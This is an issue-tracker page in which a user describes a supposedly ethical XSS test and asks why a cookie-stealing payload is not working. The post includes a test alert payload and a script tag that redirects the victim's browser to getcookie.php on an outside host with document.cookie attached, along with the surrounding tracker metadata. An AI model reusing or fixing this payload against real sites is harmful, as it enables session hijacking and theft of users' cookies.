XSS help
Nobody has claimed this yet.
- Dominant language
- HTML
- Stars
- 454
- Forks
- 480
- Avg merge
- 5h 35m
- Merged PRs (30d)
- 1
Description
I'm doing an ethical hacking test, I tested an XSS payload : <script>alert("xss")</script> on a website, and the pop-up appears, so I want to collect user cookie
I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server,
I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt
This is the getcookie.php file:
When I try this in the search box: : <script>document.location="http://website.com/getcookie.php?c="+document.cookie;</script>
I get this URL:
https://website2/search/?section=all&query=<script>document.location="http:SLASHSLASHwebsite.comSLASHgetcookie.php?c="+document.cookie;&path=SLASH
and I don't see any cookies in cookies.txt
What am I doing wrong, please? I've tried lot of payloads in the past 3 days but no results,
when I type http://website.com/getcookie.php in a new tab, I get the cookie but it's empty, I get this text : Cookie:
Thank you
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
The issue contains getcookie.php and a JavaScript XSS payload, but names no repository file, test, or requested project change. There is no implementation entry point or completion criterion to follow; assess it as an out-of-scope security question rather than a contribution.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript, php
- Domain
- security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Stale
- Clarity
- Needs clarification
- Newbie friendliness
- 1/100